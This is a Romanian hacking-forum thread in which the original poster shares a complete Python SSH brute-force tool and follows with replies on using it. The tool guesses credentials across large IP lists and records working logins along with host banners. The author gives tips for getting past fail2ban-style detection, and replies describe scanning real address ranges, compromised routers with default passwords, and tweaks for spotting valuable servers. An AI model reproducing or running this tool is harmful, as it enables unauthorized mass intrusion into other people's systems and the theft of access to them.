Elohim Posted March 5, 2014 Report Posted March 5, 2014 Urmatorul script este un dictionary attack tool pentru SSH scris in Python.import paramiko, sys, Queue, threadingclass SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip,user,passwd = self.queue.get() self.kraken(ip,user,passwd) self.queue.task_done() def kraken(self,ip,user,passwd): try: if ip in cracked: return False if '%user%' in str(passwd): passwd = passwd.split("%")[0] + user + passwd.split("%")[2] if '%User%' in str(passwd): pwd = user + passwd.split("%")[2] passwd = passwd.split("%")[0]+pwd.title() if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip+' '+user+' '+passwd+'\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write(ip+' '+user+' '+passwd+'\n') nologs.flush() return False val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n') val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception, e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip+'\n') bad.flush() #print '\r[+]Tried '+ip+' '+user+' '+passwd+' ' ssh.close() return False #print ip, str(e) ssh.close() return Falsedef brutemain(): if len(sys.argv) < 2: print """ SSH Brute Force Tool Author: @Elohim [RST] Usage: bruter ThreadNumber IpFile UserFile PassFile FilterSwitch* *The filter Switch Takes Either the word "bad" or "no". If you supply the word bad, it filters in bad.txt only the ips which indeed support ssh AUTH and password didn't work""" return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception, e: print 'Cant start more than',i,'Threads!' global bad global val global nologs global cracked global raw cracked = [] bad = open('bad.txt','w') val = open('valid.txt','a') nologs = open('nologins.txt','a') raw = open('raw.txt','a') with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines() with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines() global dbg dbg = str(sys.argv[5]) try: for password in passwords: for user in users: for ip in ips: queue.put((ip,user,password)) except: pass queue.join()if __name__ == "__main__": brutemain()Am dat un mic exemplu despre usage daca il porniti fara argumente.Va sfatuiesc sa trecei odata prin ip-uri cu un singur user si o parola, si argumentul bad, pentru a ramane doar cu ip-urile care accepta logarea prin SSH. Apoi va luati ip-urile din bad.txt si le folositi doar pe ele.Face 3 fisiere: raw.txt nologin.txt si valid.txtIn raw.txt o sa fie puse toate, si cele care au *sh disabled, si cele care se logheaza normal.In nologin.txt o sa fie puse doar cele care suporta un ssh transport,sau nu au niciun fel de shell activ, iar in valid.txt cele care au shell activ, si li se va adauga si banner-ul ( uname -a )exemplu de valid.txt:68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknownDaca vreti sa fie verbose, si sa vedeti ce se intampla, scoate comment-urile de la print .Va trebuie paramiko, dar cine chiar vrea sa il foloseasca o sa se descurce si singur. Acesta e unu din motivele pentru care nu l-am compilat nici pt win nici pt linux.Astept pareri si posibile imbunatatiri. Nu mai dati bani pe asa zisele "scannere" sau "arhive" private. 3 1 Quote
SuKySK Posted March 5, 2014 Report Posted March 5, 2014 o sa il incerc si revin cu un edit , pana atunci mersi Quote
Maximus Posted March 5, 2014 Report Posted March 5, 2014 interesant, bun daca root-ul nu are vreo detectie de brute-force.+like +1 Quote
Elohim Posted March 5, 2014 Author Report Posted March 5, 2014 (edited) @spide112 , multumesc.In legatura cu detectia la brute force, este facut in asa fel incat, ia o singura parola, un singur user, si trece prin toate ip-urile, apoi revine, ia a doua parola ( daca exista ) , acelasi user, si trece iar prin ip-uri. Niciodata nu o sa existe 2 login attempts consecutive intr-un interval scurt (Daca este folosit un ip list considerabil, ex: 40 000 or so ).Bine inteles, nu este fail-proof, dar in 80% din cazuri cel putin ar trebui sa treaca de fail2ban and alike systems. Edited March 5, 2014 by Elohim 1 Quote
smbgpla Posted March 6, 2014 Report Posted March 6, 2014 (edited) Am instalat python-paramiko pentru ca nu-l aveam dar imi da o eroare de genul (Ubuntu 12.04, Python 2.7.3):./ssh.py 100 scan.log useri parole noNo handlers could be found for logger "paramiko.transport"200.55.0.70 Error reading SSH protocol banner200.55.0.74 Negotiation failed.200.55.0.177 Negotiation failed.200.55.3.1 Negotiation failed.200.55.0.90 Negotiation failed.[+]Tried 200.50.0.18 test test [+]Tried 200.50.3.146 test test [+]Tried 200.50.1.85 test test Totusi se pare ca functioneaza si asa, deci este ceva cu modulul in neregula. Mi-a gasit un router cu admin:admin si l-am oprit eu. Aveam unul intr-un timp facut in perl care verifica smtp-uri, cam aceeasi baza de gandire. Cred ca asta ar fuctiona mai bine decat vechile brute-force scanner. Ca este facut in python este un +; usor de citit si usor de modificat, mai ales ca 70% din incepatori pornesc cu pythonul in zilele astea.Bravo si la mai multe! Edited March 6, 2014 by smbgpla Quote
iMagic Posted March 6, 2014 Report Posted March 6, 2014 Un tutorial ceva sau cineva care ma poate ajuta ? Quote
aelius Posted March 6, 2014 Report Posted March 6, 2014 Un tutorial ceva sau cineva care ma poate ajuta ?Pai daca nici cu sursa in fata nu te pricepi, mergi frate si uita-te la TV pe Antena 1 3 1 Quote
smbgpla Posted March 6, 2014 Report Posted March 6, 2014 La eroarea asta ma refeream, restul stiu ca este verbose mode. Eu am decomentat liniile sa-l vad cum trece prin ip-uri. Eroarea este din cauza modulului. Am citit vreo 40 de min pe google si se pare ca "The obvious solution is configure the logging according to your needs" Daca intereseaza pe cineva, am reinstalat python full cu tot cu module si se pare ca nu mai este nici o problema. Librariile erau vechi si modulul mai nou (actualizat). Ma rog, dupa cum ai spus si tu, nu interferea cu scannerul. Intelesesem faza cu bad, dar aveam cam 70 de ip-uri si un singur user si o singura parola, de aceea nu am mai considerat ca e necesar. Intradevar, daca bagi vreo 5k ip-uri este nevoie. +1 Bravo inca o data si pentru celelalte. Quote
BloodLust Posted March 12, 2014 Report Posted March 12, 2014 in loc de commanda "uname -a" am pus "cat /etc/issue" pentru a vedea ce a prins deoarece am scanat normal cum e aici si prindea numai routere si verificam degeaa o imensa lista pt cei care vor potpune asa si in lista iti va arata ce versiune este .. sa intrati si sa estati direct rooturile bune .. fara a mai pierde timp cu routere si alte sisteme Quote
Elohim Posted March 14, 2014 Author Report Posted March 14, 2014 @BloodLust, aia trebuia sa fie o bucurie descoperita pe cont propriu de fiecare ) A fost unul din motive pentru care nici nu am scris despre asta in OP.Daca tot s-a deschis subiectul, sa nu incercati mai mult de 1 comanda, despartita prin ;, pentru ca nu o sa mearga. Quote
Caracal Posted March 14, 2014 Report Posted March 14, 2014 Daca ma intereseaza ssh pe alt port decat 22? Quote
Elohim Posted March 14, 2014 Author Report Posted March 14, 2014 @CaracalDaca vrei alt port, linia astassh.connect(ip, username=user, password=passwd, timeout=35)devinessh.connect(ip, port=69, username=user, password=passwd, timeout=35)69 = noul port, pui ce port doresti. Quote
Caracal Posted March 15, 2014 Report Posted March 15, 2014 Foarte tare. Nu poti implementa si proxy/socks? Quote
sTzzz Posted March 16, 2014 Report Posted March 16, 2014 Foarte tare scriptul. Pe laptop ruleaza fara probleme dar acasa pe PC primesc asa ceva:Era frumos sa mai aibe si un "ip range" pe clasa de ip in genul celor pe linux: ./ssh xx.xx Quote
Elohim Posted March 17, 2014 Author Report Posted March 17, 2014 @sTzzz, e de la versiunea de Python sau gresesti tu ceva.Nu am implementat si nu o sa implementez functie de ip range, pentru ca este inutila. Cine vrea sa testeze servere linux, nu o sa il opreasca un port scanner, sau o comanda invatata pe de rost ( punct slash aa.bb ) Quote
Twiff Posted March 21, 2014 Report Posted March 21, 2014 Tot am incercat sa ii dau de cap dar nu am reusit . Primesc asta cand incerc sa il rulez . Am instalat paramiko si la python am versiunea 2.7 . Quote
BloodLust Posted March 26, 2014 Report Posted March 26, 2014 ma intereseaza si pe mine cumsa fac sa ia parole din lista la verificat exactcum face si brutfoce pe linux gen unixcode .. etc .. nu sa le ia pe rand ... dureaza prea mult, se poate face ceva sa nu le mai ia pe rand ? Quote
ionutz15 Posted March 26, 2014 Report Posted March 26, 2014 root@attitude:/var/tmp/ # python brute.pyc 80 bios2.txt user passwd noroot@attitude:/var/tmp/ #Practic nu mai face nimic.Ciudat, pana acum a mers. Quote
BloodLust Posted March 26, 2014 Report Posted March 26, 2014 am patit si eu la fel pe unele rooturi .. a mers si la un moment dat na mai mers ... nu stiu care e duma .. Quote
florinul Posted April 2, 2014 Report Posted April 2, 2014 imi da eroarea asta root:mydediserver [/dev/shm]# python a.py File "a.py", line 91 with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() ^SyntaxError: invalid syntaxde ce? Quote
Htich Posted April 3, 2014 Report Posted April 3, 2014 imi da eroarea asta root:mydediserver [/dev/shm]# python a.py File "a.py", line 91 with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() ^SyntaxError: invalid syntaxde ce?Vezi ce versiune de pyton folosesti.2.7 ? Quote